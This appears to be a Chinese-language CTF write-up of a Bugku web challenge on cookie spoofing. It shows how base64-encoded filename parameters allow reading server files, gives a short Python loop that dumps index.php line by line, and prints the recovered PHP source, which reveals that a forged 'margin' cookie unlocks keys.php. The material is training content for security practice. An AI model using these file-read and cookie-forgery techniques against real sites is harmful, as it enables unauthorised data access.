web——cookies欺骗(100)——Bugku

傷城~ 2022-11-25 13:23 237阅读 0赞

## 0×00 靶场链接 ##

[http://123.206.87.240:8002/web11/][http_123.206.87.240_8002_web11]

##    0×01 题目描述 ##

![watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80Mzk2NTU5Nw_size_16_color_FFFFFF_t_70][]

![watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80Mzk2NTU5Nw_size_16_color_FFFFFF_t_70 1][]

## 0×02 解题过程 ##

cookies欺骗，就是在只对用户做cookies验证的系统中，通过修改cookies的内容来得到相应的用户权限登录

点开链接是一段看不出什么的字符

URL：123.206.87.240:8002/web11/index.php?line=&filename=a2V5cy50eHQ=

然后发现filename是一个base64编码，解码一下

![20200809175325412.png][]

keys.txt

尝试用url读取一下其他文件，比如index.php，由于前面都是经过base64编码的，因此我们也编码试试

aW5kZXgucGhw

URL: 123.206.87.240:8002/web11/index.php?line=&filename= aW5kZXgucGhw

哈哈哈哈啥也没有

似乎是因为没有修改line，那么为空值的话自然什么也找不出来，所以把line值修改为1

URL: 123.206.87.240:8002/web11/index.php?line=1&filename= aW5kZXgucGhw

这样一行行读取就太麻烦了，使用python脚本

![20200809175341744.png][]

import requests
    a=30
    for i in range(a):
        url="http://123.206.87.240:8002/web11/index.php?line="+str(i)+"&filename=aW5kZXgucGhw" 
        s=requests.get(url)
        print s.text

得到index.php

![watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80Mzk2NTU5Nw_size_16_color_FFFFFF_t_70 2][]

<?php
    error_reporting(0);
    $file=base64_decode(isset($_GET['filename'])?$_GET['filename']:"");
    $line=isset($_GET['line'])?intval($_GET['line']):0;
    if($file=='') header("location:index.php?line=&filename=a2V5cy50eHQ=");//访问的地址
    $file_list = array(
    '0' =>'keys.txt',
    '1' =>'index.php',
    );
    if(isset($_COOKIE['margin']) && $_COOKIE['margin']=='margin'){//需要修改为margin=margin
    $file_list[2]='keys.php';
    }
    if(in_array($file, $file_list)){
    $fa = file($file);
    echo $fa[$line];
    }
    ?>

[http_123.206.87.240_8002_web11]: http://123.206.87.240:8002/web11/
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80Mzk2NTU5Nw_size_16_color_FFFFFF_t_70]: /images/20221124/0dc12b9ebbf24a40a7d3e042399189a6.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80Mzk2NTU5Nw_size_16_color_FFFFFF_t_70 1]: /images/20221124/9997e8b4413247ecad7759fa256f75ea.png
[20200809175325412.png]: /images/20221124/79e0488d5e4a47f29df5f72a266eea62.png
[20200809175341744.png]: /images/20221124/02d1bd676d954f20a01aaa27a43bc8fe.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80Mzk2NTU5Nw_size_16_color_FFFFFF_t_70 2]: /images/20221124/6bb28a831cfe48dbb47b7d3aa0282c31.png